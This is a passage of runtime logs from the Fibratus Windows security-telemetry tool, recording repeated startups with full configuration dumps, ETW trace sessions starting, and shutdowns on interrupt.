skip-mmaps=>false skip-registry=>false enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:40:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:40:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:41:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:41:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:41:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:41:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:41:17+01:00 level=info msg=bootstrapping with pid 16852. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:41:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-dns=>false enable-mem=>false enable-image=>true enable-registry=>true enable-threadpool=>false enable-thread=>true enable-fileio=>true enable-vamap=>true enable-audit-api=>true enable-handle=>false max-buffers=>36 min-buffers=>16 buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-backups=>15 max-size=>100 formatter=>text max-age=>0] + output ......................... [ amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus vhost=>/ passive=>false exchange-type=>topic enabled=>false url=>amqp://localhost:5672 durable=>false delivery-mode=>transient] http=>[ endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false timeout=>5s method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +] elasticsearch=>[ bulk-workers=>1 index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false timeout=>5s trace-log=>false healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true template-name=>fibratus sniff=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-registry=>false scan-timeout=>10s excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false excluded-procs=>[] skip-allocs=>false skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:41:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:41:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:43:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:43:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:43:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:43:32+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:43:32+01:00 level=info msg=bootstrapping with pid 1712. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:43:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-image=>true buffer-size=>512 stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-dns=>false enable-net=>true enable-fileio=>true enable-audit-api=>true enable-handle=>false enable-thread=>true enable-mem=>false flush-interval=>1s min-buffers=>16 enable-registry=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true max-size=>100 level=>info max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true format=>pretty] amqp=>[ exchange-type=>topic routing-key=>fibratus delivery-mode=>transient durable=>false enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s passive=>false vhost=>/ url=>amqp://localhost:5672] http=>[ enabled=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s enable-gzip=>false serializer=>json] elasticsearch=>[ healthcheck-interval=>10s trace-log=>false gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s template-name=>fibratus timeout=>5s healthcheck=>true index-name=>fibratus sniff=>false bulk-workers=>1 enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-allocs=>false enabled=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:43:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:43:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:50:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:50:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:50:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:51:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:51:01+01:00 level=info msg=bootstrapping with pid 1200. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:51:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-dns=>false buffer-size=>512 enable-audit-api=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true stack-enrichment=>true enable-registry=>true min-buffers=>16 max-buffers=>36 enable-fileio=>true enable-handle=>false enable-threadpool=>false enable-mem=>false flush-interval=>1s enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 formatter=>text max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ bulk-workers=>1 index-name=>fibratus healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s healthcheck=>true trace-log=>false enabled=>false template-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false] http=>[ enabled=>false method=>POST timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 passive=>false enabled=>false exchange=>fibratus routing-key=>fibratus durable=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-files=>false enabled=>false excluded-files=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:51:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:51:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:54:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:54:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:54:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:54:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:54:45+01:00 level=info msg=bootstrapping with pid 3256. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:54:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true enable-mem=>false min-buffers=>16 flush-interval=>1s enable-threadpool=>false enable-registry=>true stack-enrichment=>true buffer-size=>512 enable-fileio=>true enable-net=>true enable-thread=>true enable-handle=>false enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ sniff=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s trace-log=>false timeout=>5s enabled=>false bulk-workers=>1 index-name=>fibratus healthcheck=>true flush-period=>1s healthcheck-interval=>10s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 timeout=>5s enabled=>false exchange-type=>topic vhost=>/ exchange=>fibratus durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient passive=>false] http=>[ enable-gzip=>false endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json method=>POST timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true skip-allocs=>false enabled=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:54:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:54:54+01:00 level=info msg=bootstrapping with pid 1212. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:54:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-registry=>true enable-image=>true enable-fileio=>true flush-interval=>1s min-buffers=>16 enable-handle=>false max-buffers=>36 enable-mem=>false enable-dns=>false enable-net=>true buffer-size=>512 enable-vamap=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ enabled=>false enable-gzip=>false endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 timeout=>5s healthcheck=>true trace-log=>false sniff=>false enabled=>false gzip-compression=>false template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 passive=>false durable=>false enabled=>false delivery-mode=>transient timeout=>5s exchange=>fibratus routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false skip-mmaps=>false skip-registry=>false excluded-files=>[] excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:54:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:54:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:55:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:55:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:55:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:57:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:57:46+01:00 level=info msg=bootstrapping with pid 3940. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:57:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 flush-interval=>1s enable-dns=>false enable-thread=>true enable-fileio=>true enable-handle=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true min-buffers=>16 buffer-size=>512 stack-enrichment=>true enable-registry=>true enable-mem=>false enable-image=>true enable-net=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 max-size=>100 log-stdout=>true max-backups=>15] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false timeout=>5s trace-log=>false healthcheck=>true template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s index-name=>fibratus] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false timeout=>5s vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic durable=>false passive=>false exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty enabled=>true] http=>[ tls-insecure-skip-verify=>false enabled=>false method=>POST timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false scan-timeout=>10s fastscan=>true excluded-files=>[] skip-registry=>false skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:57:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:57:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:58:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:58:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:58:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:03:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T11:03:47+01:00 level=info msg=bootstrapping with pid 17552. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:03:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-mem=>false enable-thread=>true enable-image=>true enable-registry=>true flush-interval=>1s enable-dns=>false enable-vamap=>true min-buffers=>16 enable-audit-api=>true enable-threadpool=>false enable-fileio=>true stack-enrichment=>true enable-handle=>false buffer-size=>512 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ http=>[ enable-gzip=>false endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false serializer=>json enabled=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 enabled=>false exchange-type=>topic durable=>false passive=>false vhost=>/ timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient exchange=>fibratus] elasticsearch=>[ template-name=>fibratus index-name=>fibratus sniff=>false healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s flush-period=>1s timeout=>5s bulk-workers=>1 trace-log=>false enabled=>false healthcheck-interval=>10s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] enabled=>false skip-mmaps=>false fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:03:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:03:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:04:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:04:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:04:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:06:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T11:06:46+01:00 level=info msg=bootstrapping with pid 11384. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:06:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-dns=>false enable-threadpool=>false enable-fileio=>true enable-mem=>false enable-image=>true enable-vamap=>true flush-interval=>1s enable-handle=>false max-buffers=>36 enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-registry=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false timeout=>5s bulk-workers=>1 healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s trace-log=>false enabled=>false] amqp=>[ exchange-type=>topic delivery-mode=>transient routing-key=>fibratus vhost=>/ exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false enabled=>false durable=>false] http=>[ enable-gzip=>false method=>POST enabled=>false serializer=>json timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false skip-allocs=>false scan-timeout=>10s excluded-files=>[] skip-files=>false skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:06:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:06:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:06:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:06:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:07:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:19:57+01:00 level=info msg=rule engine is disabled 